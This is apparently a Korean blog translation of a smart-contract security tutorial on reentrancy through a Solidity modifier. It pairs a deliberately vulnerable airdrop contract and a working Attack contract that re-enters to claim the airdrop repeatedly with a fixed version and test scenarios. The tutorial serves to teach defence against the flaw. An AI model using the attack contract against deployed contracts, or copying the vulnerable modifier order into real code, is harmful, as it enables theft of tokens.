Reentrancy via modifier


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81

modifier를 통한 재진입(reentrancy)은 복잡성 측면에서 또 다른 수준의 재진입일 수 있습니다. 스마트 컨트랙트에서 이러한 취약점을 파악하는 것이 어려울 수 있습니다.

The Dependency

나중에 설명할 InsecureAirdrop, Attack, FixedAirdrop 컨트랙트에서 상호작용에 필요한 IAirdropReceiver 인터페이스입니다.

pragma solidity 0.8.13;

interface IAirdropReceiver {
    function canReceiveAirdrop() external returns (bool);
}

The Vulnerability

receiveAirdrop 함수는 호출하는 모든 사람에게 에어드롭을 제공하는 함수입니다.

  • receiveAirdrop 함수는 두 개의 modifier(neverReceiveAirdrop, canReceiveAirdrop)를 적용하여 출금하는사람이 사람이 자격이 있고 이전에 에어드랍을 받은 적이 없는지를 확인합니다.
pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureAirdrop {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // 이 예제에서는 _isContract() 함수가 다음을 확인하는데 사용됩니다.
    // 보안 측면을 확인하지 않고 에어드랍이 가능한지 호환성만 확인합니다.
    function _isContract(address _account) internal view returns (bool) {
        // 이 함수가 반환하는 값이 다음과 같다고 가정하는 것은 안전하지 않습니다.
        // false는 외부 소유 계정(EOA)이며 Contract가 아닙니다.
        uint256 size;
        assembly {
            // 계약 크기 확인 우회 문제가 있습니다.
            // 그러나 이 예제에서 다루지 않습니다.
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // 발신자가 Smart Contract일 경우 에어드랍을 받을 수 있는지 확인합니다.
        if (_isContract(msg.sender)) {
            // 이 예제에서는 _isContract() 함수가 다음을 확인하는데 사용됩니다.
            // 보안 측면을 확인하지 않고 에어드랍이 가능한지 호환성만 확인합니다.
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}

에어드랍을 받으려면, 받고 싶은 사람은 InsecureAirdrop 컨트랙트의 **receiveAirdrop()** 함수를 호출해야합니다.

  • receiveAirdrop() 함수는 neverReceiveAirdrop modifier를 통해 에어드랍을 이미 받은 사람은 또 다시 받는 것을 금지합니다.
  • 그런 다음 receiveAirdrop() 함수는 canReceiveAirdrop modifier를 통해 에어드랍을 받고 싶은 사람이 받을 자격이 있는지 확인합니다.
    • canReceiveAirdrop modifier는 먼저 에어드랍을 받고 싶은 사람이 일반 사용자(EOA)인지 Smart Contract(CA)인지 확인합니다.
      • 에어드랍을 받고 싶어하는 쪽이 일반 사용자(EOA)일 경우 추가 검증 없이 바로 통과합니다.
      • 에어드랍을 받고 싶어하는 쪽이 Smart Contract(CA)일 경우 해당 Contract가 에어드랍을 받을 수 있는 기능을 지원한다는 것을 증명하기 위해 해당 Contract의 canReceiveAirdrop 함수를 호출하여 추가 확인을 진행합니다.
        • 즉, 에어드랍을 받고 싶어하는 Contract는 canReceiveAirdrop 함수를 구현하고 있어야 하며 InsecureAirdrop Contract가 이를 호출할 때 참을 반환해야합니다.

재진입 공격은 공격자가 재귀적으로 요청을 수행하여 기대치를 초과하는 에어드랍을 획득하는 프로그래밍 방식입니다.

The Attack

공격 시나리오

InsecureAirdrop Contract의 경우, 재진입은 canReceiveAirdrop modifier의 46번째 줄에서 시작됩니다.

  1. 공격자가 자신이 만든 Attack Contract의 **attack()**함수에 **10**을 넣어
  2. InsecureAirdrop Contract의 **receiveAirdrop()** 함수를 호출합니다.
  3. InsecureAirdrop Contract는 receiveAirdrop() 함수를 호출한 공격자가 함수를 호출할 조건이 되는지 2가지를 modifier을 통해 확인합니다. neverReceiveAirdrop, canReceiveAirdrop
  4. InsecureAirdrop Contract는 canReceiveAirdrop modifier을 통해 공격자가 CA인것을 확인하고 공격자의 CA(attack contract)에 있는 canReceiveAirdrop() 함수를 실행합니다.
  5. 공격자 Attack Contract의 canReceiveAirdrop() 함수는 내부적으로 xCount를 증가시키며 공격자가 처음 설정한 값인 **10**만큼 반복문을 돌며 InsecureAirdrop의 receiveAirdrop() 함수를 반복적으로 호출하여 에어드랍을 받습니다.

neverReceiveAirdrop modifier가 매번 해당 주소가 이미 에어드랍을 받았는지 확인하지만 함수의 본문은 modifier가 모두 호출되고 실행되게 됩니다. 결국 10번이나 재귀적으로 receiveAirdrop()이 호출되는 동안 한번도 업데이트가 되지 않습니다.

Attack.sol

Attack Contract는 InsecureAirdrop Contract를 공격하는 데 사용할 수 있습니다.

pragma solidity 0.8.13;

import "./Dependencies.sol";

interface IAirdrop {
    function receiveAirdrop() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack is IAirdropReceiver {
    IAirdrop public immutable airdrop;

    uint256 public xTimes;
    uint256 public xCount;

    constructor(IAirdrop _airdrop) {
        airdrop = _airdrop;
    }

    function canReceiveAirdrop() external override returns (bool) {
        if (xCount < xTimes) {
            xCount++;
            airdrop.receiveAirdrop();
        }
        return true;
    }

    function attack(uint256 _xTimes) external {
        xTimes = _xTimes;
        xCount = 1;

        airdrop.receiveAirdrop();
    }

    function getBalance() external view returns (uint256) {
        return airdrop.getUserBalance(address(this));
    }
}

공격자는 attack() 함수를 호출합니다. 이때 전달 인자는 10입니다. 이 경우 10은 공격자가 에어드랍을 얻고자 하는 증폭 횟수를 나타냅니다.

그림과 같이 일반 사용자는 999개의 토큰만 받을 수 있는 반면, 공격자는 원하는 만큼의 토큰을 얻을 수 있습니다.


The Solutions

3가지 솔루션이 있습니다.

  1. “neverReceiveAirdrop” 보다 앞에 “canReceiveAirdrop” modifier 호출하기
  2. 첫 번째 modifier로 mutex lock(noReentrant modifier)을 적용하기
  3. 1,2번 모두 적용하기
pragma solidity 0.8.13;

import "./Dependencies.sol";

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

contract FixedAirdrop is ReentrancyGuard {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    // FIX: 1. Apply mutex lock (noReentrant) as the first modifier
    // FIX: 2. Call canReceiveAirdrop before neverReceiveAirdrop
    function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}

Solution #1

“neverReceiveAirdrop” 보다 앞에 “canReceiveAirdrop” modifier 호출하기의 경우, modifier의 실행 순서를 변경하여 해결할 수 있습니다.

실행 순서는 공격자가 에어드랍을 받을 자격을 갖췄는지 확인 후 공격자가 에어드랍을 받은 적이 없는지를 확인합니다.

Solution #2

첫 번째 modifier로 mutex lock(noReentrant modifier)을 적용하기의 경우 receiveAirdrop 함수에 첫 번째 modifier로 noReentrant를 첫 번째 modifier로 붙였습니다.

간단히 재진입 시도를 막을 수 있습니다.

Test


Source code link

InsecureAirdrop Contract

테스트 시나리오

  • Constructor
    • 에어드랍에 사용될 개수를 초기값으로 줄 수 있다.
  • 에어드랍
    • 에어드랍을 받을 수 있다.
    • 특정 유저가 에어드랍을 받았는지 확인할 수 있다.
    • 유저는 두번 이상 에어드랍을 요청할 수 없다.
  • Mock
    • Contract Address가 에어드랍을 받을 수 있는 Contract 일 경우 에어드랍을 받는다.
    • Contract Address가 에어드랍을 받을 수 없는 Contract 일 경우 revert를 호출한다.

FixedAirdrop Contract

테스트 시나리오

  • Constructor
    • 에어드랍에 사용될 개수를 초기값으로 줄 수 있다.
  • 에어드랍
    • 에어드랍을 받을 수 있다.
    • 특정 유저가 에어드랍을 받았는지 확인할 수 있다.
    • 유저는 두번 이상 에어드랍을 요청할 수 없다.
  • Mock
    • Contract Address가 에어드랍을 받을 수 있는 Contract일 경우 에어드랍을 받는다.
    • Contract Address가 에어드랍을 받을 수 없는 컨트랙트일 경우 revert를 호출한다.

Attack Contract

테스트 시나리오

  • Constructor
    • Attack Contract 생성 시 InsecureAirdrop Contract의 Address를 넣을 수 있다.
  • 공격
    • 을 5번 시도하면 에어드랍을 5번 받을 수 있다.
  • Solution
    • 공격을 시도해도 1번만 에어드랍을 받을 수 있다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글